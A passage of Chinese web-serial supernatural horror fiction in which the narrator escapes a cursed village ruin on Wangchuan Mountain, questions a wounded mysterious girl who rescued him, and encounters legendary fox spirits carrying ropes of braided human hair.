又走了几步之后,我终于察觉到了些许端倪。 大甜瓜走着走着,就偏离了脚下的小路,绕到了一旁,她虽然蒙着眼睛,但是身躯轻飘飘的,如同脚不沾地一般,在废墟之间轻快的前行。 我的眼睛虽然能看到大甜瓜已经偏离了方向,可我心底深处,却有一种一直尾随下去的冲动。 我终于明白了过来,如果我的眼皮子上没有抹东西,只靠着自己的肉眼去观察,什么都不可能看出来,我会随着大甜瓜的脚步,继续前行。 这样一来,就等于我也偏离了脚下的路线。 这个推测有点离奇,却是眼下能想到的最合理的解释了,只是转念之间,我又觉得不对。 因为之前几次兜圈子,我都观察的很仔细,而且,我不止一次的回头看过自己行走时留下的脚印,脚印基本是保持正直的,这也就意味着,我走过的路大概也是一条直线。 如果大甜瓜带着我在这里兜圈子,我的脚印不可能保持直线。 这是怎么回事? 一想到这儿,我不由自主的就回了回头,当我回头的那一刻,顿时又吃了一惊。 我看到自己身后大概五六米远的地方,又有一个人,那个人耷拉着脑袋,弯着腰,但我一眼就能认出,那是玉芬。 玉芬的眼睛上,也蒙着一块黑布,和大甜瓜的状态差不多,玉芬如同一只被绳子吊起来的皮影,轻飘飘的。 我能看到,玉芬一直都尾随在我们附近,我跟着大甜瓜一路走,留下的脚印都被玉芬无声无息的给抹掉了。 就这样,偏离路线的脚印都被抹除的干干净净,只剩下沿着小路所留下的笔直的脚印。 难怪我始终都走不出来,一直在这里兜圈子,这个地方本身没什么古怪的,可就是因为玉芬和大甜瓜的干扰,无形中把我给困在了一个圈子里。 我察觉到了这些,却还是不敢有过分的举动,现在这个位置,距离走出小村遗址的路口还有点远,现在要是动手的话,我害怕自己还是会被困在这里。 我不动声色,接着朝前走,大甜瓜和玉芬都没有多余的反应,一个在前,一个在后。 大甜瓜行走的路线,果然是绕着遗址在兜圈子,又过了几分钟,当我们经过离开废墟的路口附近时,大甜瓜就调转了方向,准备继续绕下去。 这应该是个机会,我也不管那么多了,纵身朝前面一跳,直接把大甜瓜扑倒在地,身后的玉芬就和傻子一样,对这些充耳不闻,仍旧弯着腰,在抹除我留下的脚印。 大甜瓜一被扑倒,也没怎么挣扎,我急忙回过身,一把抓住玉芬的胳膊。 随即,我又把大甜瓜给拉起来,一手抓着一个人,拼命的朝路口跑。 大甜瓜和玉芬虽然状况不太对,不过一直都没有挣扎,我只要拉着他们朝前跑,他们就会跟上。我的视线在此时非常的清晰,朦胧的情景能够完全看透,这里距离路口已经很近,我很快就带着他们两个,从路口冲了出去。 当我冲出路口的那一瞬间,半空晦涩的暗淡,顿时明亮了起来,能够重新看到月亮和星星。从路口逃出来之后,我还是不敢停留,只想着跑远一些。 我拉着他们两个,用尽全力狂奔,没过多久,就回到了我们之前露营的地方,随身的背包什么的,都留在那边,我想着从这里走到山外,还需要一段时间,没有食物和水的话肯定是不行的。 我试探着松开手,大甜瓜和玉芬傻愣愣的停下脚步,站在原地一动不动,我飞快的跑到那边,随手抓起一个背包,跟着就想继续朝山口的方向跑。 然而,等我转身的时候,一股极为凛冽的杀机,不知道从什么地方突然冒了出来。 人对危险,多多少少都有一种预知,只不过有些人的感知强烈,有些人感知薄弱。此时此刻,我的感知似乎无比的敏锐,我甚至能感应到,有什么东西已经尾随了过来,而且,杀机毕露。 我没有发现其他的人,可是,那股杀机却好像是如影随形,一出现之后就挥之不去,我被迫又丢下背包,把别在腰带里的钢钎抽了出来,随手朝前一挥。 叮…… 在钢钎挥动出去的时候,我明显能感觉到,有什么东西好像撞到了钢钎上,那股力量看起来似乎并不大,钢钎还是握在我的手里,但一转眼间,我已经一脑门子汗水。 钢钎像是被什么极为锋利的东西给划了一下,留下了一道至少半厘米深的很细小的缺口。 钢钎都能划出这样一道缺口,如果是人的血肉之躯,肯定已经断成两截了。 我立刻就想起之前惨死的那只小东西,忍不住就缩了缩脖子。 危机就在附近,可我连大概的方位都分辨不出来,只能茫然的左右扫视。 突然间,在玉芬和大甜瓜两个人的身后,猛的飘起了一片淡淡的白雾。我的注意力都在自己身前身后,根本就没留意那片白雾是从何处飘散出来的。 那片白雾在移动,虽然很淡,可是却让人的视线被严重的阻碍,白雾所到之处,一片模糊。 不到半分钟的时间,白雾已经把玉芬和大甜瓜都笼zhao了起来,我的心顿时沉到了脚底板,现在危机四伏,我连动都不敢动,玉芬他们俩要是出事,我肯定救不了他们。 不过,那片白雾笼zhao起玉芬和大甜瓜之后,仍然在朝我这边移动,当距离又近了一些,我就看到白雾里面,似乎有一道影子。 那道影子太模糊了,模糊的让人无法分辨,我只能隐约看见,那影子的头发比较长,应该是个女人。 第107章 无法追忆 那团影子在不断的靠近,一时间,我也不知道对方到底是善意还是恶意。 但是,这团影子靠近之后,我能明显的察觉到,一直缭绕在自己附近的那股凛冽的杀机,似乎在急速的后退。 心里的念头还没有转完,那团影子的速度猛然快了起来,唰的一下子,直接从我的面前飘了过去。 在这团影子和我擦肩而过的弹指间,我的感应仍然是那么的灵敏,我能感应出来,那道影子,其实是一个人。因为活人身上的气息,和那些阴邪的东西是不一样的。 这个人用白雾笼zhao着自己,或许就是不想露出真面目。 影子的速度快到了极点,只是一转眼,已经飘出去了大概有十几米。 我还没来得及再去多想,十几米之外,嘭的爆出了一团闷响,而且,一团血花嗖的从白雾那边喷洒了出来。 血花还没有落地,白雾就飞快的闪到了一旁的草丛中,隐匿不见。 周围顿时就安静了下来,像是什么也没有发生过。过了一会儿,我觉得的确是风平浪静了,这才背起背包,拉着玉芬和大甜瓜朝前走。 情况究竟如何,我不能确定,所以不敢走的太快,十几米距离,至少走了几分钟。走到一半儿的时候,玉芬似乎有了点反应,使劲的晃了晃头。 “我这是……这是在哪儿……” “玉芬,能认得我吗?” “五满……” 我心里一松,玉芬还能认识我,说明神智已经恢复了一部分。看着他和大甜瓜,我就感觉一肚子苦水,这一次带他们到王川山,俩人光是神智失常就犯了好几次。 现在也顾不上说那么多了,我让玉芬带着大甜瓜跟在我身后,又走了几米远,我就看到地面上遗留下来的点点滴滴的血迹。 我猜的没错,刚才那团白雾中的影子,肯定是个活人,而且,多半是受伤了,地面上的血迹就是这人留下的。 我记得,影子是躲到了一旁的草丛里,赶紧就转头看了看。我想找到这个人,我觉得,不可能有人无缘无故的在这个地方帮我的忙,对方至少认识我,而且,既然帮我,就一定有他的目的。 路旁的草木繁茂,人要是躲进去,悄悄的借着掩护朝远处逃,我肯定是无法察觉的。但是,等我转头看了几眼之后,就发现草丛间还是有点点滴滴的血迹。 那个人受伤应该很重,血流不止,在这样的情况下,他估计不会跑的太远。 我硬着头皮开始继续查找,在差不多半人深的草丛里走了最多十米远,我一下子就看到前面躺着一个人。 笼zhao着这个人的白雾,已经彻底的消散了,在我看到对方的时候,眼皮子就忍不住上下跳动。 这个人,我以前见过。 她是个年轻的女孩,额头前的头发是齐刘海,有一颗俏皮的小虎牙。 我不会记错,这个姑娘,就是那个照相员。 这姑娘的身份来历都是个谜,我虽然见过,但对方来去无踪,跟丢了以后就再也找不到了。我当时去找王先生询问情况的时候,这个姑娘提前一步就找到了王先生,不过,最后还是留了王先生一条命。 我和王先生当时就猜测过,这姑娘好像是王川山小村灭门惨案中唯一的一个幸存者,虽然她的实际年龄跟事发时间完全对不上,但她的长相,却让人看不出破绽。 毫无疑问,这一定是个很要紧的人。 我猜的没错,这个姑娘受伤很重,衣襟上全都是鲜血,她还没有昏迷,只不过行动艰难,发现我靠近了,仍然吃力的在草丛里爬。 “你先别动!” 我紧走了两步,为了让对方放心,我刻意保持了一定的距离,停下脚步之后,我看了看对方,她还是原来的样子,只不过此刻的模样却无比狼狈。 我就算再傻,这时候也能想得到,被困在小村废墟里的时候,就是这个姑娘想法子帮我脱困,她原本肯定是不打算露面的,但我逃出废墟,很快又遭遇到了那股无形的杀机,这姑娘估计是没有别的办法,只能出面帮我。 我不知道她的真实身份,可是看着她身上的血迹,我就感觉好像亏欠了对方似的。 “你受了伤,先不要动,我没有恶意,我知道是你在帮我……相信我……” 我跟对方解释,让她放下戒心,这姑娘可能知道,自己的伤的确很重,想要躲开我,完全做不到,她轻轻翻了个身,吃力的坐了起来。 “你不用管我,我自己……自己能处理……” “你身上没有背包,肯定也没有药,现在天气热,外伤要是处理的不及时,伤口发炎就很严重。” 我说话的时候,回头看了看,玉芬和大甜瓜已经到了草丛的边缘,我和玉芬打了个招呼,玉芬就躲在草丛里望风。 我急忙从包里取出药,我们这些人外出,带的都是自己配制的伤药,虽然是土方子,却是祖祖辈辈一直都在用的,止血效果很好。 我看得出来,这姑娘有点撑不住了,她的伤口应该很深,失血过多,脸色也因而变的惨白,我把药给她递过去,她想了想,最后终于伸出了手。 当药交到她手里的那一刻,对方的确是坚持不住了,一头歪倒在地,我赶紧上去扶住她。这姑娘应该是有些本事的人,可她毕竟还是人,不是神仙,流了这么多血,导致昏迷。 这是我第一次和她面对面的相处,她的模样,甚至连脸上几颗很浅的雀斑都能看的很清楚,她是个女孩,身上的伤口估计是在腹部,我不方便给她换药,刚想把大甜瓜给喊过来,我突然顿住了。 这个姑娘的样子,我早就知道,只不过以前从来没有距离如此之近,我看着她苍白的脸庞,脑子里突然就像是翻江倒海一般,一股一股隐藏在记忆深处的碎片,似乎在蜂拥而出。 这一瞬间,我突然感觉到,这个姑娘没有那么陌生。 相反,她给我一种很熟悉的感觉,那种熟悉,是烙印在骨子里的,尽管相关的信息已经被深深的隐藏在记忆最深处,却仍然让我无法忘怀。 我呆住了,这个女孩究竟是谁?她怎么会藏在我的记忆深处? 第108章 不信任 当我感觉这个女孩看起来很熟悉的时候,脑子里就翻江倒海,可是怎么想,我都想不出更详细的记忆了。 她现在伤势挺重,我也不能一直傻愣愣的在这里耽误时间,大甜瓜这时候基本也恢复了正常,我急忙就把大甜瓜给喊了过来,让她先帮着对方把伤口给处理一下。 大甜瓜手脚还算是麻利,那个姑娘也不是深度昏迷,伤口快处理好的时候,她就醒了。尽管大甜瓜是个女人,但那姑娘很可能是不适应,而且警惕性很高,醒来的那一瞬间,直接就把大甜瓜给推到了一旁。 这姑娘看起来很文气,而且身受重伤,但她的实力绝对不是闹着玩儿的,大甜瓜毫无防备,被姑娘一推,立刻就滚出去了两三米远。 “干啥啊……我在给你上药呢,你怎么一醒过来就动手呢……” 那姑娘不答话,一转身,把伤口裹起来,又使劲拽了拽自己的衣服。她看着就和那种乖巧的邻家女孩一样,但性子倒是很倔强,不肯示弱,也不肯受人恩惠,挣扎着站起身,二话不说,扭头就走。 我回头对玉芬打了个手势,让他继续守在这儿,自己则快步跟上了那姑娘。 “你先等等,我有话说。” 姑娘仍旧不搭理我,自顾自的朝前走,最开始的时候,她走的不快,过了一会儿,可能渐渐适应了,就不断的加速,走出去五六十米远,我心里有点急,就想绕到前面去截住她。 谁知道,姑娘突然停下了脚步,在草丛里的一块石头跟前坐了下来,她的脸色依然苍白,背靠着石头,看了看我。 这时候我才明白,这姑娘可能不是不想搭理我,只不过她不愿意让玉芬和大甜瓜听到我们的对话。 我来到她的身前,看见她那张失去血色的脸,我心里那种异样的感觉几乎控制不住了。 我为什么会突然觉得她这么熟悉? 王川山这个地方,的确很见鬼,玉芬和大甜瓜到这里之后,鬼使神差一般的先后回忆起一些早被遗忘的往事,我还总觉得他俩不对劲,肯定有什么我不知道的故事。 可如今,我也像他们俩一样,总觉得这个姑娘隐藏在我的记忆深处。 “姑娘,你的伤怎么样?” “放心,死不了的。” “这次真的是……” “不怨你,只怪我自己运气不好。” 事情到了这个地步,有些情况其实我大概也能猜得到。之前大甜瓜把我喊醒,说那边有人找我,我觉得应该就是这个姑娘在找我。 但是,就在我去找她的时候,她可能突然发现,附近还有别的人在隐藏着,这个姑娘很机警,顿时就不敢露面了。 就这样,我才一步一步的来到那个小村的遗址,最后被隐藏着的人给困在了里面。 我的脑子很乱,这个姑娘的身份,还有隐藏者的身份,现在都不能确定。我在白八门里面混饭吃,平时只是做自己该做的事,从来不会去得罪谁,我不知道是什么人想要我的命。 “姑娘,有些话就开门见山说吧,藏着掖着的也没什么意思,先前是不是你要找我,是有话要说吗?” “先前是有点话想问问你,但没来得及问出来。” “是什么人想对我下手?”我本来是想心平气和的跟她谈谈,但是一想起自己被困在小村遗址里的经过,心里就不由自主的冒火。 “我不敢确定,没有把握的事,我是不会乱说的。” “你……” 我一下子就被堵的说不出话了,关于这个姑娘,我其实有很多的疑问,可是真的面对面坐在这里,一时间却又不知该从何问起。 “姑娘,你是不是跟了我很久了?在风水地的地下,你已经在了?” 姑娘没出声,看起来,她是一点亏都不肯吃,没有问出她想问的话,就不愿意回答我的问题。 不过,我还是能猜到,当时在裂谷那边隐藏的人,肯定是她。 “姑娘,咱们能开诚布公的谈谈吗?” “可以谈,但我问你的事情,你要说实话。从观听塔里出来的照片,不是在吓唬你,你应该知道,你在照片上没有五官了,就说明,死期将近。” “那我该怎么办?” “把你知道的事情告诉我。” “我真的不知道什么。”我无奈的摇了摇头,如果我手里掌握了大量的线索,也就不用在这个地方没头苍蝇一样的胡乱找来找去。 最关键的是,这次到了风水地的地下,有惊无险,保住了一条命,但没有什么实质性的收获,下一步该怎么办,我现在彻底的迷茫了。 “你在白八门这些年了,你师傅什么都没和你说过?” “没有,真的没有。” 那姑娘又不说话了,暗中看了我两眼,估计是在判断我有没有撒谎。 我心里有点毛糙,对方肯定知道很多事情,可偏偏又不肯告诉我。 而且,我能感觉出来,她这次不惜自己受伤,冒险把我救了下来,但她好像不怎么信任我,不管从眼神,还是从语气里,我都能感应的到。 回想刚才所经历的一切,我突然有点明白了,这姑娘故意给我看那张照片,其实就是在告诉我,我活不久了,可能随时都会和师傅还有毛叔一样。 她估计就是想用这个来逼我说一些情况。 但是,我的确不了解什么内情,她想从我身上挖出点线索,千难万难。 “姑娘,你是不是有点不相信我?” “是。” 我没想到,对方竟然毫不掩饰,就这样直接承认了,我的脸上有点挂不住,一时间又不知该说些什么。 “我问你一件事,你老老实实的告诉我。” “什么事?” “风水地下面,那座石头屋子的地洞里,是什么情况?” “石头屋子?” “你进了那座屋子,而且活着出来了。” “是活着出来了,也只是运气好而已。” “那只是运气好的问题吗?” “不然呢?” 姑娘想了想,突然用一种略带神秘却又很严肃的语气说道:“不怕告诉你,那么多年了,进了那座石头屋子的人,没有一个活着走出来的。” “什么意思?” “我的意思就是,过去很多年里,不止一个人进过那座屋子里的地洞,那些人方方面面都比你强,要是放在外头,他们一根手指头就能压死你,但那些人都死在里面了,从头到尾,只有你一个人活着走了出来。” 第109章 吃亏了 听到姑娘的话,我忍不住吃了一惊。 以前有很多人都去过石头房子里的地洞,但最后只有我一个人活了下来? 转念一想,我又觉得姑娘说的似乎并非危言耸听。 那个地洞里的养尸地,其实并不算真的无法逾越,它能困住普通人,绝对困不住手段高超的人。 真正致命的,还是那只人面魈。 虽然有些功夫很好的人,可能不会畏惧人面魈的尖牙利爪,但人面魈最可怕的地方,是它的那双眼睛。 现在回想起来,我都觉得一阵后怕,当时我几乎已经失去了反击的能力,如果不是突然从那种混沉中挣扎出来,我这一百来斤,肯定也交待在那里了。 猛然间,我一下子就意识到了这个姑娘为什么要单独找我。 如果说,从来没有谁从那个石头屋子的地洞里活着出来,那就意味着,地洞里的所有信息全都是隔绝的。 她只有问我,才能得知地洞里的具体情况。 而且,我心里又产生了一个疑问,这个疑问愈演愈烈,一发不可收拾。 那么多人进入了石头屋子,最后只有我一个人活着出来了。我从来都不觉得自己比别人有什么过人之处,但为什么偏偏是我? 为什么只有我能活着出来? 在此之前,我一直都认为,从石头屋子下面的地洞死里逃生,完全是运气。可这个姑娘出现之后,我心里的念头就开始动摇。 这单纯就是运气吗? 我忍不住悄悄的瞥了那姑娘一眼,现在的天马上就要放亮了,光线却比深夜的时候更深沉,我能看到姑娘那张白皙的脸庞,还有齐刘海,小虎牙。 这一瞬间,我的脑袋里又乱成了一锅粥,因为那种压制不住的熟悉感,就像是潮水一般铺天盖地,充斥在脑海中。我不想在这个时候分神,可是脑子一乱,就一发不可收拾。 我的心仿佛拧了个疙瘩,又一次在拼命的回忆,这个姑娘,为什么让我感觉如此熟悉?我肯定见过她,而且是很久以前,但我实在想不出具体的细节。 “你想好了吗?” “什么?” 姑娘的话打断了我的思路,随即我就反应了过来,这个姑娘最想知道的,就是石头屋子下面的具体情况。 一时间我有点犹豫了,石头屋子里面的信息,算是绝密,除了我,没有人知道。这个姑娘的身份还有真实的意图,我到现在都不清楚,把这么重要的情况告诉她,我不知道会有什么后果。 她对我明显不怎么信任,更重要的是,她多半跟当年被灭门的小村有关系。那村子是我师傅带人下的手,我猜不出来,这个姑娘现在知道不知道我是师傅的徒弟。 一来二去,我就拿不定主意。 “你要是不想说,我也不会勉强你。”这姑娘吃力的站起身,她的伤口虽然暂时处理了,但伤的很重,短时间内无法痊愈,还会严重影响她的行动能力。 这一刻,我看到了姑娘的那双眼睛,她的眼睛很清澈,从里面看不到一丝的阴邪杂念。 她虽然不怎么信任我,可我也说不清楚为什么,我对她反而有种形容不出来的信任。我相信,她不管出于什么目的,总不会故意害我。 “石头房子下面的地洞……” “地洞里怎么样?” “地洞里有一片养尸地。” 我定了定神,心里对姑娘的信任,在无声之中不断的增加,我甚至连撒谎的心都没有,直接把石头屋子下面那个地洞里的详情,一五一十的都说了出来。 姑娘在默不作声的听,我说起养尸地还有人面魈之类的事情,她的表情没有任何波澜。 但是,说起棺椁内部的一些细节时,姑娘明显有点动容。 我也不知道自己是怎么了,把自己所看到的全都说了出来。当我说到棺椁中心的木棺下面,有一个刻满了纹路的密室时,姑娘的眼睛顿时睁大了。 她毕竟还年轻,不会像那些老油条一样,把自己所有的情绪全都掩饰的很好。 “密室里,有没有尸体?” “我觉得,原本应该有,密室那些复杂的图案正中间,有一块很平坦的地面,还有一个玉枕,但没看到尸体。” “有别的痕迹或者线索吗?” “线索……我只是个人推测,密室里本来应该有人,就躺在玉枕.上面,但是后来……后来他走了。” “走了!?” “是,我是这么认为的,这个人临走的时候,本来可能还想着留下几个字,但他就在石壁上划了一笔,然后就停手了。” 姑娘听完之后,没有再说话,不过,我看得出她肯定在急速的思考。 过了有几分钟时间,她艰难的挪动了一下脚步,回头对我说道:“我要走了。” “你受了这么重的伤,一个人走吗?” “我一个人能行,要对你动手的人,我刚才已经帮你解决了,后面的路,自己小心一点。我受了这么重的伤,更不能拖累你。” 姑娘说走就走,她的确伤势很重,一手捂着自己的肚子,脚步蹒跚。她很想走的快一些,但速度却始终快不起来。 “姑娘,你也要离开王川山吗,不如咱们一起出去吧……” “不用。”姑娘没有跟我们同行的意思,她走出去几步之后,停下脚步,微微回过头,说道:“你脖子上的红印,暂时不用担心,以后要是有什么转机,我会去找你。” 留下这几句话,姑娘再也没有回头,我有心想要跟上她再问问,但最终还是打消了这个念头,我觉得,从对方嘴里什么也问不出来。 等姑娘彻底的消失在茂密的植被和复杂的地形的那一刻,我突然感觉今天很吃亏,我给她提供了那么重要的线索,可她却什么都没说。 我转身找到了玉芬和大甜瓜,这俩人现在基本上没什么事了,正凑在一起嘀嘀咕咕。 我看着他们,就有一个疑问。这个疑问之前虽然也出现过,但我始终没有重视。经过了这次王川山之行,我觉得这个问题真的很重要。 第110章 巡山狐狸 我之前一直认为,我和铁拐李还有大甜瓜之所以会落到今天这个地步,都是无意中被拖累的。 中间虽然出现过一些可疑之处,但我没有深入思考过。 一直到现在,我才开始正视这个问题。我把这件事从头到尾认真的回想了一遍,越来越觉得,这并不是巧合。 不仅仅我的脖子上出现了红印不是巧合,而且玉芬,大甜瓜,还有铁拐李,他们被牵连到这件事里,都不是巧合。 这就仿佛有一个老谋深算的人,提前就把所有的细节全部给揣摩透了,也安排好了。我们现在所走的每一步路,都是按着对方的计划而走的。 这种感觉非常强烈,可是我想来想去,也想不出,有谁会这么做。 “五满,这地方没什么可追查的了,下一步该怎么办?” “我也不知道。” “那咱们先出山吧,离开这里再说。五满,你把心放宽,天无绝人之路,总会有出路的。” 我点了点头,那个姑娘说过,暗中想对我们下手的人,已经被解决了,姑娘本人也离开了这儿,现在应该是安全的,我们三个人把随身的物品都整理起来,然后吃了点东西。 到了天色大亮之后,三个人就开始顺着来路朝山口的方向走。 从这里出山,路程不算太远了,就是路不太好走,需要一天多的时间,这次进山以后,一路几乎没有消停过,三个人都累的够呛,走到中午的时候,我的眼睛已经睁不开了。 但是我不想停下来,在这个鬼地方多呆一分钟,我都觉得浑身不自在,只有趁着白天安全的时候多赶一段路,才能早点从这儿离开。 我们三个人都硬撑着,从中午又走到了傍晚,这一天没有白赶,我估算了一下,今天休息一晚,好好的恢复一下/体力,到明天的中午或者下午,就能走到山口那边。 玉芬和大甜瓜的心态,可能都比我好,我一直忧心忡忡,这俩人却好像把之前发生的危险和波折全都给忘了,我们找到露营的地方之后,俩人有说有笑,捡柴火做饭,弄的好像是出来野炊一样。 等到吃饱喝足,三个人的困意已经无法抑制,我对玉芬还是不放心,他现在困成这样,要是让他守前夜,这家伙保准五分钟不到就睡的死猪一样。 所以我还是强打精神先守夜,让玉芬睡一觉之后起来接班。 这个夜守的比坐牢都要辛苦,我不停的在露营地的附近来回走动,避免自己坐着会睡着。王川山这里的危险,应该是消失了,露营地周围一片寂静。 短短三四个小时的时间,却好像过了三四年,守到凌晨一点多钟,玉芬醒了,过来接班。我专门交待他,这次不能守夜的时候睡过去。 我真的是累到了极点,玉芬一接班,我躺下之后立刻就睡着了。 在这种极度疲惫的情况下,睡着了基本上就不会怎么做梦,所以睡的很沉。 我不知道睡了多久,反正睡的正香的时候,就感觉有人在使劲掐我的胳膊,硬把我给掐醒了。 在睡梦中突然被人给掐醒,我忍不住就张嘴要喊,谁知道,这一嗓子没喊出来,嘴巴就被一只手给捂住了。 “五满,别出声!” 我睁开眼睛,就看到玉芬猫着腰蹲在我身边,看着我醒了过来,他的神情就有点紧张。 “别出声,你看。” 玉芬伸手朝着左前方指了指,我刚睡醒,视线还没能适应,就看到距离这边大概十几米的地方,有什么东西在缓缓的挪动。我急忙揉了揉眼,屏气凝神的观望,很快,我就看到那边好像有几只狐狸一样的东西。 王川山这个地方,常年没有人涉足,最大程度的保持着自然的状态,山里有河,植被也很茂盛,所以大大小小的动物都能见到,不仅狐狸,獾,野羊这样常见的动物,有人说王川山还有狼群。 狐狸这东西,本身就经常在夜间活动,真要是在野外遇见了,并不算什么怪事。 然而,那边的几只狐狸,明显有些鬼里鬼气的。 那几只狐狸都是黄褐色的,比一般的狐狸大了一点,它们和寻常的狐狸不一样,都用两条后腿支撑,在地面上人立而起。 更让我感觉吃惊的是,几只狐狸在草丛间若隐若现,一会儿探出脑袋,一会儿又倒腾着两条后腿躲到草里,每只狐狸的前爪上,好像都抓着一根绳子。 如果再仔细的辨认一番,就会让人感觉浑身上下汗毛直立。 那几只狐狸爪子里抓着的绳子黑乎乎的,看上去像是绳子,却是用头发编织出来的。 每根绳子,估计有好几米长,都有拇指那么粗,这几条绳子,不知道要用多少人的头发才能编出来。 我和玉芬一下子就不敢动了,躲在这边,只露出眼睛。看了一会儿,那几只见鬼的狐狸全都缩到了草丛后面。 因为视线的原因,对方缩回去之后,就再也看不到了。 “五满,你有没有听说过……巡山狐狸?” “巡山狐狸……” 玉芬如果不说,我可能真的回想不起来了,但是他一说出巡山狐狸这四个字,以前听到过的一些神神鬼鬼的传闻,就喷泉一般的喷薄而出。 王川山是骗禁地,花衣婆婆的故事传播出去以后,又跟着出现了各种各样稀奇古怪的传闻。因为以前我没来过王川山,而且住的地方离王川山也远,所以对这儿没有什么印象,有的传闻只是当个故事听听,从来没真正在意过。 巡山狐狸的传闻,也是十几年前出现的。 当时,王川山小村的灭门案刚发生不久,有些不知内情的采药人,时常还会到山里去碰碰运气,结果,他们一进山,就遇见了预料不到的麻烦,那时候王川山的传闻基本上都是这些采药人传出去的。 花衣婆婆的故事,单纯就是个很吓人的鬼故事。但巡山狐狸的故事,却让人感觉怪异,又让人感觉很好奇。 第111章 惊悚传闻 当年,在王川山这边采药,打山货的有很多是外地人,他们来一趟就会在山里呆很长时间,直到收获满满,才结伴离去。 花衣婆婆的传闻传播出去之后,本地人有的不信邪,继续进山采药,等出了两次事,就没人敢再来冒险。但有的外地人离得远,不清楚具体的情况。 有一次,四个采药的人从三四百里之外的地方赶到了这儿,他们以前就来过好几次,对王川山的地形比较熟,一切轻车熟路,四个人结伴进了山。 从表面上看,王川山似乎没有任何的变化,一如往昔,四个采药人毫无防备,还是和以前一样,在山里转了三四天,每个人都采到了不少好东西。 三四天之后,他们一起朝山外走,某天晚上露营休息的时候,就遇见了三只狐狸。 其实,在花衣婆婆的传闻出现之前,王川山这里也有别的神神鬼鬼的故事,流传最广的,就是巡山狐狸。 当地的老百姓一直相信,王川山有山神爷,山里的一切,都是山神爷说的算的。所以,很早以前那些传统的走山人,每次进山之前,都要在山口附近的小山神庙,祭拜一下山神爷,以求平安。 后来日子久了,山神庙毁于一旦,也没有人再遵循这种陈芝麻烂谷子的老黄历。 据说,山神爷一向都是惩恶扬善,有些采药人心术不正,合伙进山,遇见势单力薄的采药人,就会杀人越货,抢人家的东西,最后毁尸灭迹。 所以,山神爷就派了一些狐狸,常年在山中巡视,一旦发现为非作歹的人,就会让巡山狐狸收了对方。 这种传闻,其实就是故事而已,可能就是让每个进山的人都遵守最起码的规矩和良知,不要做一些出格的事情。 那四个采药人以前肯定听说过巡山狐狸的故事,这一次遇见三只狐狸,心里不免有点发慌。 那三只狐狸都和人一样,站在原地,每只狐狸的爪子里,抓着一条绳子。 四个采药人害怕了,夺路而逃,一口气逃出去很远,等他们精疲力尽,不得已停下来的时候,发现那三只狐狸就在不远处等着他们。 四个人接着就转身又朝别的地方跑,但是,不管他们跑的多快,跑的多远,只要一停下来,三只巡山狐狸就会出现在不远处,就这么跑了几次,他们意识到,肯定是躲不过去了,于是忙不迭的跪地求饶。 巡山狐狸一步步的逼近,等到了跟前的时候,一只黄毛狐狸嘴巴里叽里咕噜的,渐渐的就变成了能听懂的人话。 这个故事是十几二十年前的事了,被辗转传播了不知道多少次,很多细节都很模糊,也不排除有人杜撰。反正在传闻里,那四个采药人在巡山狐狸的逼问下,不得已说出了一些隐藏在内心深处的不堪往事。 其中三个人把自己以前在王川山这边做过的恶事,坏事,全都说了一遍,只有一个老实巴交的采药人,什么缺德事也没做过,而且他非常惊讶,根本想不到经常跟自己作伴进山的同伴,原来是这么歹毒。 等三个人交待完了,那只黄毛狐狸好像冷笑了一声,一抖绳子,绳子就套到一个人的脖子上,其余的两个人,也没能躲得过去,都被绳子给套住了。 就这样,那个老实巴交的采药人,眼睁睁看着三个同伴被巡山狐狸给带走。他心里害怕到了极点,丝毫不敢停留,连夜就朝山外赶。 等出了山以后,这个人仔细想了想,还是于心不忍,那三个同伴不管以前做过什么,对自己终究还是不错的,他不敢一个人再回到山里,立刻就赶回了家,把事情跟同伴的家人都说了一遍。 同伴的家属纠集了大概有十来个人,都是年轻力壮的男人,带着家伙事当即赶到了王川山,进山去找人。 但是,他们进山之后就走了大概不到几里路,一下子就看到那三个采药人并排跪在一条小路的路边。 三个人全都死透了,脖子上有一圈很明显的勒痕,应该是被勒死或者吊死的。 那十来个家属年轻气盛,看到三个人都死了,心里气不过,接着进山找巡山狐狸。幸存下来的采药人怎么拦都拦不住。 据说,那十来个进山寻仇的人,中间又出了点事,最后不得不信邪,屁滚尿流的逃出了王川山。从那以后,巡山狐狸的传闻又被风传了一阵子,再加上花衣婆婆的诡异传说,王川山渐渐就无人涉足了。 巡山狐狸的故事,我还有印象,此时此刻,看着十多米之外的草丛,我和玉芬心里都感觉有点发虚。因为刚才那几只狐狸出现的情景,和传闻中的巡山狐狸,没有任何区别。 玉芬一点都不敢耽搁,赶紧把大甜瓜也喊了起来,大甜瓜晕晕乎乎的,还不知道发生了什么事,玉芬赶紧小声说了说,大甜瓜毕竟是个女人,胆子没我们大,当时就害怕了。 我一直都在聚精会神的盯着不远处的草丛,玉芬则朝着四周东张西望,我们俩手里都拿着家伙,不管巡山狐狸的传闻有多诡异,但我们总不可能在这里束手待毙,如果真遭遇到了什么攻击,肯定得还手。 就这样等了大概有好几分钟,草丛那边没什么动静,四下里也风平浪静。 “五满,咱们不能这样一直等着啊,太被动了。” “对,不能这样等着,我到前面去看看,你带着甜瓜姐,别跟的那么紧。” 我拿着手里的钢钎,一步一步的朝前走,说实话,我心里的确没底,狐狸这种东西,在民间传说里就和妖是一个概念,我以前没跟这种东西打过什么交道。 我刚刚走出去两步,一直寂静无声的草丛突然沙沙作响,草叶子左右摆动了几下,紧跟着,一只狐狸就探头探脑的从草丛后面露出了头。 这只狐狸明显看到了我们,它一露头,就朝着这边注视。 我不知道自己是不是看错了,我总觉得这只狐狸望过来的时候,脸上好像露出了一丝很诡异的笑容。 第112章 意图模糊 那只狐狸露出一丝诡异的笑容,我的心就又凉了半截。 现在距离出山的山口已经不算太远了,之前那个姑娘受了那么重的伤,最后才把我们给救了出来,我本以为剩下的路应该是平安无事了。 谁知道还没过夜,又出现了眼前的麻烦。 那只狐狸冲着这边挤眉弄眼,又缩回到了草丛里面,面对这种情况,我感觉非常无力。我们很少跟这玩意儿打交道,一出麻烦就不知道该怎么解决。 “真要是过不去,那就跟它们干!”玉芬估计一想起巡山狐狸的传闻,就头皮发麻,憋着一口气小声说道:“咱们总不可能也被它们用绳子套着脖子给弄死吧?” “先看看再说。” 我的手心里全是汗水,几只狐狸缩回草丛之后,暂时又没了动静,它们这样时隐时现,完全搞不清意图,我也不敢乱动。 等了有几分钟,草丛那边再次传来了一阵沙沙的声响,随后,那只挤眉弄眼的狐狸,就和一个鬼鬼祟祟的人一样,从草丛后面一步一步走了出来。 它的身躯直立,用两条后腿行走着,模样怪异又滑稽。它的一只爪子,还抓着那条用头发编出来的绳子。 但是这一次,我发现绳子被扥直了,这就说明,绳子的另一端肯定有什么东西。 